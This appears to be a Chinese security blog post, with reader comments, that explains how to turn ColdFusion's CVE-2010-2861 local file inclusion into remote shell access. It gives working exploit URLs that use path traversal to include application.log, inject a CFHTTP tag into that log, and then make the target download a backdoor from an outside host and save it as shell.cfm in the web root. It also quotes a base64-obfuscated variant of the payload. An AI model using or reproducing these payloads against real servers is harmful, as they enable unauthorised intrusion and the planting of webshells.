COLDFUSION(CVE-2010-2861) 本地包含利用方法

mickey 2014-04-19 13:55:00

最近看老外的一篇文章说,CVE-2010-2861这个利用方法,只有看到过通过读取password.properties里的password字段,破解SHA-1值登陆后台,或者通过传递哈希登陆后台的,还没见过能直接得到SHELL的。其实我以前和小伙伴讨论过利用application.log本地包含CFM的方法,当时的利用方法是这样的:

首先看看application.log有没有在默认的目录:

http://10.18.180.23:8500//CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\ColdFusion8\logs\application.log%00en

然后访问一个不存在的页面,注意编码问题,否则不成功的。

http://192.168.72.141:8500/%3CCFHTTP%20METHOD%3DGet%20URL%3D%23URL.u%23%20PATH%3D%23URL.p%23%20FILE%3D%23URL.f%23%3E.cfml

这时候就会把<CFHTTP METHOD=Get URL=#URL.u# PATH=#URL.p# FILE=#URL.f#>注入到application.log里了,看下图:

最后我们访问

http://10.18.180.23:8500//CFIDE/administrator/enter.cfm?locale=................\ColdFusion8\logs\application.log%00en&u=http://10.18.180.20/dvwa/hackable/uploads/xl.txt&p=C:\ColdFusion8\wwwroot&f=shell.cfm

就会从10.18.180.20上把xl.txt的CF后门脚本下载到目标机器的c:\ColdFusion8\wwwroot目录了。

我们看看老外用的方法:思路都是一样的,就是他的payload选择的是

<cfhttp method='get' url='#ToString(ToBinary('aHR0cDovLzE5Mi4xNjguMS45Nzo4MDAwL2NtZC5jZm1s'))#' path='#ExpandPath(ToString(ToBinary('Li4vLi4v')))#' file='cmd.cfml'>

使用cfm的CFHTTP标签执行一个HTTP请求来取得192.168.1.97:8000 WEB服务器上的cmd.cfml文件,ToString(ToBinary是为了做BASE64编码,绕过一些字符的限制,比如/

下面说说此法的缺点:

1.不是通杀的方法如果对方禁止对外的HTTP访问此法不行 
2.如果安装的时候是集成到IIS模式的CF程序目录放到其他盘符的话是没法使用../跨目录的

评论

D

DM_ 2014-04-19 14:33:13

如果不是默认后台....

疯子 2014-04-19 21:57:59

那你就找后台!

H

HackBraid 2014-04-20 16:50:06

mickey牛!

M

Master 2014-04-22 17:46:13

围观Mickey牛。。Mark,。。

路人甲 2014-04-30 10:30:17

围观Mickey牛

mickey

此号多人用,发表任何信息不代表本人观点

twitter weibo github wechat

随机分类

企业安全 文章:40 篇
数据安全 文章:29 篇
漏洞分析 文章:212 篇
木马与病毒 文章:125 篇
Java安全 文章:34 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

H

HHHeey

好的,谢谢师傅的解答

Article_kelp

a类中的变量secret_class_var = "secret"是在merge

H

HHHeey

secret_var = 1 def test(): pass

目录